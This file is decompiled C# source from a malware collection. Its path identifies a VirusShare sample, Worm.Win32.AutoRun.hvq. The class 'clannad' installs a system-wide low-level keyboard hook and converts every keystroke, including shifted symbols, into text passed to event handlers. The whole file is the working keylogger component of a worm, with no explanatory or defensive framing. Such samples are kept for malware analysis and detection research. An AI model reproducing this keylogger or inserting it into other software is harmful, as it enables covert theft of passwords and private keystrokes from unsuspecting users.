MalwareSourceCode/MSIL/Worm/Win32/A/Worm.Win32.AutoRun.hvq-1a05e2bf2933df28485ce43bcb7274cfc2bd455dd9a6472cef1260454451db86/clannad.cs

// Decompiled with JetBrains decompiler
// Type: clannad
// Assembly: Stub, Version=2.0.2.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ADEE861-B489-4B94-AFAF-878A34E8554C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Worm.Win32.AutoRun.hvq-1a05e2bf2933df28485ce43bcb7274cfc2bd455dd9a6472cef1260454451db86.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class clannad
{
  private static int Key;
  private static clannad.KDel KHD;

  [DebuggerNonUserCode]
  public clannad()
  {
  }

  [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern int SetWindowsHookEx(
    int Hook,
    clannad.KDel KeyDelegate,
    int HMod,
    int ThreadId);

  [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern int CallNextHookEx(
    int Hook,
    int nCode,
    int wParam,
    ref clannad.KeyStructure lParam);

  [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern int UnhookWindowsHookEx(int Hook);

  public static event clannad.DownEventHandler Down;

  public static event clannad.UpEventHandler Up;

  public void CreateHook()
  {
    clannad.KHD = new clannad.KDel(this.Proc);
    clannad.Key = clannad.SetWindowsHookEx(13, clannad.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
  }

  private int Proc(int Code, int wParam, ref clannad.KeyStructure lParam)
  {
    if (Code == 0)
    {
      switch (wParam)
      {
        case 256:
        case 260:
          clannad.DownEventHandler downEvent = clannad.DownEvent;
          if (downEvent != null)
          {
            downEvent(this.Feed((Keys) lParam.Code));
            break;
          }
          break;
        case 257:
        case 261:
          clannad.UpEventHandler upEvent = clannad.UpEvent;
          if (upEvent != null)
          {
            upEvent(this.Feed((Keys) lParam.Code));
            break;
          }
          break;
      }
    }
    return clannad.CallNextHookEx(clannad.Key, Code, wParam, ref lParam);
  }

  public void DiposeHook()
  {
    clannad.UnhookWindowsHookEx(clannad.Key);
    // ISSUE: explicit finalizer call
    this.Finalize();
  }

  private string Feed(Keys e)
  {
    Keys keys = e;
    if (keys >= Keys.A && keys <= Keys.Z)
      return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? e.ToString() : e.ToString().ToLower();
    if (keys >= Keys.D0 && keys <= Keys.D9)
    {
      if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
        return e.ToString().Replace("D", (string) null);
      string Left = e.ToString();
      if (Operators.CompareString(Left, "D1", false) == 0)
        return "!";
      if (Operators.CompareString(Left, "D2", false) == 0)
        return "@";
      if (Operators.CompareString(Left, "D3", false) == 0)
        return "#";
      if (Operators.CompareString(Left, "D4", false) == 0)
        return "$";
      if (Operators.CompareString(Left, "D5", false) == 0)
        return "%";
      if (Operators.CompareString(Left, "D6", false) == 0)
        return "^";
      if (Operators.CompareString(Left, "D7", false) == 0)
        return "&";
      if (Operators.CompareString(Left, "D8", false) == 0)
        return "*";
      if (Operators.CompareString(Left, "D9", false) == 0)
        return "(";
      if (Operators.CompareString(Left, "D0", false) == 0)
        return ")";
    }
    else
    {
      if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
        return e.ToString().Replace("NumPad", (string) null);
      if (keys >= Keys.Multiply && keys <= Keys.Divide)
      {
        string Left = e.ToString();
        if (Operators.CompareString(Left, "Divide", false) == 0)
          return "/";
        if (Operators.CompareString(Left, "Multiply", false) == 0)
          return "*";
        if (Operators.CompareString(Left, "Subtract", false) == 0)
          return "-";
        if (Operators.CompareString(Left, "Add", false) == 0)
          return "+";
        if (Operators.CompareString(Left, "Decimal", false) == 0)
          return ".";
      }
      else
      {
        if (keys == Keys.Space)
          return " ";
        if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
        {
          if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
          {
            string Left = e.ToString();
            if (Operators.CompareString(Left, "OemMinus", false) == 0)
              return "_";
            if (Operators.CompareString(Left, "Oemplus", false) == 0)
              return "+";
            if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
              return "{";
            if (Operators.CompareString(Left, "Oem6", false) == 0)
              return "}";
            if (Operators.CompareString(Left, "Oem5", false) == 0)
              return "|";
            if (Operators.CompareString(Left, "Oem1", false) == 0)
              return ":";
            if (Operators.CompareString(Left, "Oem7", false) == 0)
              return "\"";
            if (Operators.CompareString(Left, "Oemcomma", false) == 0)
              return "<";
            if (Operators.CompareString(Left, "OemPeriod", false) == 0)
              return ">";
            if (Operators.CompareString(Left, "OemQuestion", false) == 0)
              return "?";
            if (Operators.CompareString(Left, "Oemtilde", false) == 0)
              return "~";
          }
          else
          {
            string Left = e.ToString();
            if (Operators.CompareString(Left, "OemMinus", false) == 0)
              return "-";
            if (Operators.CompareString(Left, "Oemplus", false) == 0)
              return "=";
            if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0)
              return "[";
            if (Operators.CompareString(Left, "Oem6", false) == 0)
              return "]";
            if (Operators.CompareString(Left, "Oem5", false) == 0)
              return "\\";
            if (Operators.CompareString(Left, "Oem1", false) == 0)
              return ";";
            if (Operators.CompareString(Left, "Oem7", false) == 0)
              return "'";
            if (Operators.CompareString(Left, "Oemcomma", false) == 0)
              return ",";
            if (Operators.CompareString(Left, "OemPeriod", false) == 0)
              return ".";
            if (Operators.CompareString(Left, "OemQuestion", false) == 0)
              return "/";
            if (Operators.CompareString(Left, "Oemtilde", false) == 0)
              return "`";
          }
        }
        else
          return keys == Keys.Return ? Environment.NewLine : "<" + e.ToString() + ">";
      }
    }
    return (string) null;
  }

  private delegate int KDel(int nCode, int wParam, ref clannad.KeyStructure lParam);

  public delegate void DownEventHandler(string Key);

  public delegate void UpEventHandler(string Key);

  private struct KeyStructure
  {
    public int Code;
    public int ScanCode;
    public int Flags;
    public int Time;
    public int ExtraInfo;
  }
}